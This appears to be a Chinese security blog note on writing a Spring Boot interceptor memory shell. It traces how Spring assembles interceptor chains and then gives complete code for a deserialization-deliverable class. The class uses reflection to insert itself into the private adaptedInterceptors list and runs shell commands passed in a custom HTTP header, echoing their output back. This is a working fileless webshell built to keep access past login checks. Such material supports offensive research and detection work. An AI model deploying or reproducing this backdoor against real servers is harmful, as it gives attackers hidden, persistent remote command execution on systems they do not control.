SpringBoot Interceptor 内存马
前言:spring interceptor 内存马的笔记
springboot的拦截器实现原理参考文章:https://blog.csdn.net/qq_43369986/article/details/116746868
参考文章:https://landgrey.me/blog/19/
controller内存马的缺点
在对于存在相关的拦截器的时候,controller内存马就无法进行利用,原因就在于拦截器的调用顺序在controller之前,所以controller不能作为通用的内存马来进行使用。
https://landgrey.me/blog/19/ 中的截图如下
如下情况,比如我这里写个拦截器,除了login以外的都作为未授权处理,都自动重定向回/login
,万一后台账号自己没了的话,或者等等情况,导致失去了访问权限,那么该内存马也就相当于不存在了。
容器配置类Appconfig.java
@Configuration
public class AppConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new LoginInterceptor())
.addPathPatterns("/**")
.excludePathPatterns("/login");
}
}
拦截器代码:
public class LoginInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
User userInfo = (User)request.getSession().getAttribute("loginInfo");
// System.out.println(userInfo);
if (userInfo != null)
return true;
request.setAttribute("msg", "禁止未授权访问");
request.getRequestDispatcher("/").forward(request, response);
return false;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
所以可以看到,这样的话对于某些一定需要权限的接口,就无法做到完美的权限维持,而Interceptor内存马能够弥补这样的缺陷。
Interceptor内存马复现
可以看到通过相关的header头传输命令,如下图所示,弹出一个对应的计算器
Interceptor内存马
首先还是先学习springboot本身是如何将拦截器应用的,因为拦截器本身是在请求的时候进行应用,而springboot核心处理请求都是在org/springframework/web/servlet/DispatcherServlet.java类中进行处理的,在相关的doDispatch方法上打上断点,如下图所示
接着随便一个请求, http://localhost:8080/asdasdasd ,跟随断点走,来到getHandler,跟进去
这个getHandler方法会遍历当前handlerMapping数组中的handler对象,来判断哪个handler来处理当前的request对象,这里用的是其中的SimpleUrlHandlerMapping对象
这继续跟到其中的mapping.getHandler(request);
中,其中获取指定的拦截器处理过程也是在这里进行的,首先是获取对应的handler
然后接着getHandlerExecutionChain方法则是获取调用链,其中会就会将当前的拦截器加到当前的调用链中,类似于过滤链一样,然后在之后的处理中进行遍历调用
这里跟到其中可以看到,预先将要处理的拦截器都加入到调用链中
最后将handler和调用链一起进行封装,也就成为了HandlerExecutionChain,最后将这个对象返回,如下图所示
后面遍历拦截器的地方在如下这个地方,这里就不跟了
到这里就已经了解了相关的拦截器封装过程,这里主要的地方就是如下这个地方。
当前的对象是org/springframework/web/servlet/handler/AbstractHandlerMapping.java中的getHandlerExecutionChain方法
其中的this.adaptedInterceptors存储着所有的拦截器对象,该对象还是一个私有对象,所以想拿到的话还需要通过反射
这里整理思路:
1、先获取SpringBoot中的ApplicationContext对象
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
2、通过IOC容器中的AbstractHandlerMapping,接着通过反射来获取adaptedInterceptors字段(因为该字段为私有)
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);
3、将要注入的过滤器放入到adaptedInterceptors中
MemoryInterceptor memoryInterceptor = new MemoryInterceptor();
adaptedInterceptors.add(memoryInterceptor);
模拟反序列化内存马
还是跟上篇的一样,具体的环境就不再写上去了,参考https://www.cnblogs.com/zpchcbd/p/15544419.html
public class SpringBootMemoryShellOfInterceptor extends AbstractTranslet implements HandlerInterceptor {
public SpringBootMemoryShellOfInterceptor() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
SpringBootMemoryShellOfInterceptor memoryInterceptor = new SpringBootMemoryShellOfInterceptor("aaa");
adaptedInterceptors.add(memoryInterceptor);
}
public SpringBootMemoryShellOfInterceptor(String test){
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String command = request.getHeader("zpchcbd");
if(command != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
return false;
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
执行命令测试如下:whoami